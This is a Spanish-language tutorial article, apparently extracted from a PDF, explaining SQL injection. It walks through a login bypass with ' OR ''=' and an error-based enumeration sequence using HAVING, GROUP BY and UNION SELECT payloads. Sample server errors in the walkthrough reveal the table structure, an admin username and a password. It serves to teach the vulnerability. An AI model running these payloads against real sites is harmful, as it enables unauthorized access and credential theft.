Está en la página 1de 6

SQL Injection, vulnerabilidad

Escrito por David A. Prez

En este texto se explica como aprobechar la vulnerabilidad de sql injection para saltarse un formulario de peticion de usuario y contrasea.

Slo me fo de las estadsticas que he manipulado (Winston Churchill) No es tan difcil manipular las estadsticas; a veces es mucho ms fcil de lo que parece. Si una persona tiene dos euros y otra persona no tiene ninguno, la estadstica afirmar que tienen un euro cada una. Sin embargo, y a pesar de los extraos resultados que nos pueda aportar la estadstica a un problema dado, deberamos confiar en sus resultados, siempre y cuando estemos seguros de que no han sido manipulados. En el mundo informtico sucede exactamente lo mismo: podemos confiar en los resultados proporcionados por un ordenador siempre que sepamos que nadie lo ha manipulado. Pero, cmo saberlo a ciencia cierta? Podramos describir un proceso informtico como una transformacin de datos para obtener informacin; proporcionamos datos a un ordenador que los transforma y los convierte en informacin til. Pero qu ocurre cuando los datos que le proporcionamos a un ordenador son incorrectos o, peor an, han sido manipulados? Los ordenadores pueden incorporar sistemas para detectar la manipulacin de datos y evitar resultados impredecibles. Implementar estos sistemas puede resultar tedioso, ahora bien, no implementarlos puede resultar peligroso. Y es de esto precisamente de lo que les voy a hablar en esta serie de artculos: la peligrosidad de obviar los datos manipulados. Aunque se que va a resultar difcil, voy a intentar que sea un articulo al alcance de todo el pblico. A pesar de que un conocimiento de SQL seria recomendable, si no sabe nada sobre bases de datos no se preocupe: lo importante no es comprender todo el proceso, sino llegar a entender la peligrosidad subyacente a una mala programacin. Empecemos pues SQL es la abreviatura de Structured Query Language, un lenguaje textual que se usa para interactuar con bases de datos. Una sentencia SQL simple puede ser: SELECT * FROM Alumnos Si ejecutamos esta sentencia, obtendramos toda la informacin de la tabla ALUMNOS. Podramos ser ms especficos y obtener slo la informacin de los alumnos con se apelliden Prez:

1/6

SQL Injection, vulnerabilidad


Escrito por David A. Prez

SELECT * FROM Alumnos WHERE Apellido = 'Prez' Imagnense una pagina en Internet donde podemos obtener informacin sobre los resultados acadmicos de los alumnos. La pgina consta de un formulario donde introducimos el nombre y apellido del alumno y el servidor nos devuelve la informacin de ese alumno concreto. Supongamos que queremos obtener informacin sobre el alumno Juan Prez. La sentencia SQL a ejecutar sera: SELECT * FROM Alumnos WHERE Nombre = 'Juan' AND Apellido = 'Prez' Evidentemente, nosotros hemos rellenado el formulario con los datos Juan y Prez y el servidor ha construido la sentencia SQL y la ha ejecutado, devolvindonos toda la informacin sobre el alumno Juan Prez. Supongamos que en vez de introducir "Juan" y "Prez" usamos los valores "Ju'an" (ntese la comilla simple en el nombre) y "Prez". Entonces, el servidor ejecutara la sentencia: SELECT * FROM Alumnos WHERE Nombre = 'Ju'an' AND Apellido = 'Prez' Imagino que se habrn dado cuenta de que la sentencia es incorrecta. Si ustedes no lo han percibido, el servidor les advertir de su error devolviendo un mensaje similar a: Line 1: Incorrect syntax near 'an'. Las comillas simples (') se utilizan en las sentencias SQL para separar la informacin de los comandos. En este caso, la introduccin de una comilla simple en uno de los campos ha alterado la sentencia SQL de tal modo que el servidor no la ha podido entender. Si somos un poco avispados, podramos usar este factor a nuestro favor para obligar al servidor a hacer lo que nosotros queramos. Un ejemplo un poco mas prctico sera el siguiente. Tenemos un formulario que nos pide que introduzcamos un nombre de usuario y una contrasea. El servidor ejecuta una sentencia SQL para verificar que existe el usuario y que su contrasea es la que hemos introducido. Por ejemplo, la sentencia SQL podra ser: SELECT * FROM Usuarios WHERE Username = 'usuario' AND Password = 'contrasea' Utilizando nuestros conocimientos anteriores, podramos modificar la sentencia para que juegue a nuestro favor. Supongamos que conocemos la existencia de un usuario llamado admin y queremos entrar en el sistema usando sus credenciales. Evidentemente, desconocemos su contrasea, pero podra ser subsanable. Vamos a utilizar como contrasea ' OR ''=' (ntense las comillas simples) para modificar la sentencia y convertirla en: SELECT * FROM Usuarios WHERE Username = 'admin' AND Password = '' OR ''='' Probablemente la contrasea del usuario no sea nula (''), pero hemos modificado la sentencia

2/6

SQL Injection, vulnerabilidad


Escrito por David A. Prez

para que nos devuelva el usuario gracias a la introduccin del parmetro OR que compara la expresin '' = ''. Lgicamente '' = '' es verdadero, as que el servidor nos permitir la entrada. A pesar de que poder acceder a una pgina Web sin proveer la contrasea correcta es un error enorme, las posibilidades de inyeccin de cdigo SQL van mucho ms all. De todas las posibilidades les hablar en las prximas entregas y tambin de cmo solucionar estos problemas. De momento, si quieren leer un poco ms, les recomiendo un texto que he escrito hace algn tiempo: Verificando lo que introduce el usuario: http://www.kamborio.com/?Section=Articles&Mode=select&ID=12 Est claro que, como norma general, siempre desconoceremos la estructura de la base de datos, lo cual trunca un poco nuestras expectativas. Pero como deca al principio, formulando las preguntas adecuadas podremos obtener todos esos detalles. Para poder aplicar el mtodo de la mayutica son necesarias dos cosas: un maestro que sepa formular las preguntas y un alumno que tenga la suficiente fuerza de voluntad para buscar en su interior las respuestas. Con su permiso, yo voy a ejercer de maestro, y mi alumno aplicado va a ser un servidor SQL. Por supuesto ustedes tambin sern mis alumnos, pero lo que les diferencia a ustedes de un servidor SQL es la sencilla razn de que un servidor SQL nunca se convertir en maestro. Empecemos pues. Fijemos el escenario: una aplicacin web programada en VBScript accede a una base de datos almacenada en un servidor Microsoft SQL Server. La aplicacin requiere un nombre de usuario y una contrasea para acceder. Adems, sabemos que la aplicacin no efecta una comprobacin de los datos que introduce el usuario. Para empezar introducimos como nombre de usuario: ' HAVING 1=1-Lo cual producir un error y el servidor nos devolver: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft] [ODBC SQL Server Driver] [SQL Server]Column 'Usuarios.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 17 Como buen alumno, el servidor SQL nos da la respuesta adecuada a nuestra pregunta. El uso de la comilla simple (') en el nombre de usuario nos ha permitido modificar la sentencia SQL para poder usar "HAVING". La secuencia de caracteres "--" se usa para indicar que lo que sigue a continuacin es un comentario de una sola lnea y en consecuencia el servidor ignorar lo que siga.

3/6

SQL Injection, vulnerabilidad


Escrito por David A. Prez

Si la sentencia original fuera: SELECT * FROM Usuarios WHERE Username = '' AND Password = '' La modificacin que hemos efectuado la habra convertido en: SELECT * FROM Usuarios WHERE Username = '' HAVING 1=1--' AND Password = '' La modificacin de esta sentencia nos ha proporcionado dos respuestas: el nombre de la tabla (Usuarios) y el nombre de uno de los campos de la tabla (ID). La siguiente pregunta la formularemos introduciendo en el nombre de usuario: ' GROUP BY Usuarios.ID HAVING 1=1-Lo cual producir un nuevo error y el servidor nos devolver: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft] [ODBC SQL Server Driver] [SQL Server]Column 'Usuarios.Username' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 17 Otra respuesta del servidor que nos proporciona otro de los campos de la tabla Usuarios (Username). Podemos continuar haciendo preguntas hasta que lleguemos a introducir como nombre de usuario: ' GROUP BY Usuarios.ID, Usuarios.Password, Usuarios.Privilege HAVING 1=1-Este nombre de usuario no producir ningn error porque es equivalente a haber modificado la sentencia SQL por: SELECT * FROM Usuarios WHERE Username = '' Llegado este punto ya conocemos todos campos de la tabla usuarios (ID, Username, Password y Privilege) e incluso el orden. Otra informacin que estamos interesados en conocer es el tipo de datos que se albergan en cada campo. Para ello formularemos nuevas preguntas. Como nombre de usuario utilizaremos: ' UNION SELECT SUM(Username) FROM Usuarios--

4/6

SQL Injection, vulnerabilidad


Escrito por David A. Prez

Y el servidor nos devolver: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /login.asp, line 17 Como buen alumno, el servidor nos ha facilitado el tipo de dato que se aloja en los campos Username (varchar, es decir, caracteres alfanumricos). La funcin SUM() intenta sumar todos los resultados de la sentencia, pero esta suma no puede efectuarse a menos que los resultados sean numricos; por eso se produce el error. Hasta ahora, las preguntas que hemos formulado nos han facilitado informacin acerca de la estructura de la base de datos pero todava no nos han revelado nada acerca del contenido de la base de datos. Ahora que conocemos parte de la estructura de la base de datos, conseguir la informacin contenida en ella es relativamente fcil. Para ello, y como hemos venido haciendo hasta ahora, introducimos el siguiente nombre de usuario: ' UNION SELECT MIN(Username),1,1,1 FROM Usuarios WHERE Username > 'a'-Para que el UNION SELECT se pueda ejecutar es necesario facilitar tantos valores como campos tiene la tabla. Como la tabla contiene 4 campos se hace necesaria la introduccin de 4 valores, que en este caso han sido "unos". Adems en este ejemplo la clusula WHERE provoca que la sentencia nos devuelva el primer usuario que empiece por la letra "a". El mensaje de error del servidor nos indica que no se puede pasar un campo de tipo varchar a la funcin MIN(). Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /login.asp, line 17 Y, cmo no, podemos probar lo mismo para averiguar la contrasea. Usando como nombre de usuario: ' UNION SELECT MIN(Password),1,1,1 FROM Usuarios WHERE Username = 'admin'-Obtenemos el siguiente error: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the varchar value

5/6

SQL Injection, vulnerabilidad


Escrito por David A. Prez

'getmein' to a column of data type int. /login.asp, line 17 Ahora ya conocemos el nombre de usuario (admin) y su contrasea (getmein). Si furamos los protagonistas de una pelcula, estaramos viendo la escena en la cual aparecen en la pantalla del ordenador unas letras muy grandes de color rojo en las que se puede leer: "Access granted". No se crean ustedes todo lo que ven en las pelculas. La mayutica es todo un arte que sigue vigente en la actualidad. Profesionales de todas las ramas utilizan este mtodo para resolver los problemas diarios: abogados, detectives, programadores... Y como dije al principio, lo difcil no es encontrar las respuestas, sino formular las preguntas correctas. Por cierto, mayutica es una palabra que proviene del griego y se usaba para referirse al arte de de las comadronas que ayudaban en el alumbramiento. La propia madre de Scrates era una comadrona. De raza le viene al galgo. David A. Prez http://www.kamborio.com

6/6